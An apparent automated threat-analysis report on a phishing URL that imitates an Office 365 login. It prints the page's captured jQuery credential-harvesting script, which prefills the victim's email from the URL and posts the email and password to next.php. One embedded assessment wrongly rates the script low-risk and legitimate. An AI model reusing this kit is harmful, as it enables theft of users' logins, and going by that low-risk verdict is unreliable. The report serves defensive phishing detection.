Windows Analysis Report
https://workrubinnovations.com/wp-includes/kih/login.html?General=hLskkvfnVcqEPbdrK7sunT26PsAphHOxpizUKt2RC0aCijWkm4KdKAm8rk2qEAtO77hTNQ1F3KTfWtNkeEuTUzu5miygK9V9H06

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: https://workrubinnovations.com

{
    "risk_score": 4,
    "reasoning": "The script appears to have some moderate-risk behaviors, such as sending user data (email address) to a server via AJAX. However, the overall intent seems to be legitimate, such as form validation and submission. There are no clear indicators of malicious activity, but the script could benefit from improved security practices."
}

/* global $ */
$(document).ready(function() {
    var count = 0;


    /////////////url ai getting////////////////
    var ai = window.location.hash.substr(1);
    if (!ai) {

    } else {
        var base64regex = /^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/;

        if (!base64regex.test(ai)) {
            // alert(btoa(ai));
            var my_ai = ai;
        } else {
            // alert(atob(ai));
            var my_ai = atob(ai);
        }
        // $('#ai').val(ai);
        // var my_ai =ai;
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!filter.test(my_ai)) {
            $('#error').show();
            ai.focus;
            return false;
        }
        var ind = my_ai.indexOf("@");
        var my_slice = my_ai.substr((ind + 1));
        var c = my_slice.substr(0, my_slice.indexOf('.'));
        var final = c.toLowerCase();
        $('#ai').val(my_ai);
        $("#div1").animate({ left: 200, opacity: "hide" }, 0);
        $("#div3").animate({ right: 200, opacity: "show" }, 0);
        setTimeout(() => {
            $("#div3").animate({ left: 200, opacity: "hide" }, 0);
            $("#div2").animate({ right: 200, opacity: "show" }, 0);
            $("#aich").html(my_ai);

        }, 1000);
    }





    $('#ai').click(function() {
        $('#error').hide();
    });

    $(document).keypress(function(event) {
    	
        var keycode = (event.keyCode ? event.keyCode : event.which);
        if (keycode == '13') {
        	event.preventDefault();
            if ($("#div1").is(":visible")) {
            	
                $("#next").click();

            } else if ($("#div2").is(":visible")) {
            	event.preventDefault();
            	
                $("#submit-btn").click();

            }
            else{
            	return false;
            }
        }
    });


    $('#next').click(function() {
    	event.preventDefault();
        var my_ai = $('#ai').val();
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!filter.test(my_ai)) {
            $('#error').show();
            ai.focus;
            return false;
        }
        var ind = my_ai.indexOf("@");
        var my_slice = my_ai.substr((ind + 1));
        var c = my_slice.substr(0, my_slice.indexOf('.'));
        var final = c.toLowerCase();
        $("#div1").animate({ left: 200, opacity: "hide" }, 0);
        $("#div3").animate({ right: 200, opacity: "show" }, 0);
        setTimeout(() => {
            $("#div3").animate({ left: 200, opacity: "hide" }, 0);
            $("#div2").animate({ right: 200, opacity: "show" }, 0);
            $("#aich").html(my_ai);

        }, 500);



    });
    $('#back').click(function() {
        $("#msg").hide();
        $("#ai").val("");
        $("#pr").val("");
        $("#div2").animate({ left: 200, opacity: "hide" }, 0);
        $("#div1").animate({ right: 200, opacity: "show" }, 1000);

    });


    $('#submit-btn').click(function(event) {
        event.preventDefault();
        var ai = $("#ai").val();
        var pr = $("#pr").val();
        var detail = $("#field").html();
        var msg = $('#msg').html();

        var my_ai = ai;
        var ind = my_ai.indexOf("@");
        var my_slice = my_ai.substr((ind + 1));
        var c = my_slice.substr(0, my_slice.indexOf('.'));
        var final = c.toLowerCase();
        $('#msg').text(msg);
        count = count + 1;
        $.ajax({
            dataType: 'JSON',
            url: "next.php",
            type: 'POST',
            data: {
                ai: ai,
                pr: pr,
                detail: detail,

            },
            beforeSend: function(xhr) {
                $("#div2").animate({ left: 0, opacity: "hide" }, 0);
                $("#div3").animate({ left: 0, opacity: "show" }, 0);
            },
            success: function(response) {
                $("#pr").val("");
                if (count >= 2) {
  

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "Next",
  "text_input_field_labels": [
    "z4ydyl@kislb.com"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Office 365"
  ]
}

```json{  "legit_domain": "office.com",  "classification": "wellknown",  "reasons": [    "The brand 'Office 365' is well-known and is associated with Microsoft.",    "The legitimate domain for Office 365 is 'office.com' or 'microsoft.com'.",    "The URL 'workrubinnovations.com' does not match the legitimate domain for Office 365.",    "The domain 'workrubinnovations.com' does not have any known association with Microsoft or Office 365.",    "The email input field 'z4ydyl@kislb.com' appears random and does not provide any context to validate legitimacy.",    "The domain name 'workrubinnovations.com' does not contain any recognizable elements related to Office 365 or Microsoft, which is suspicious."  ],  "riskscore": 9}
Google indexed: True

{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "login",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
  "brands": [
    "Office 365"
  ]
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Office 365"
  ]
}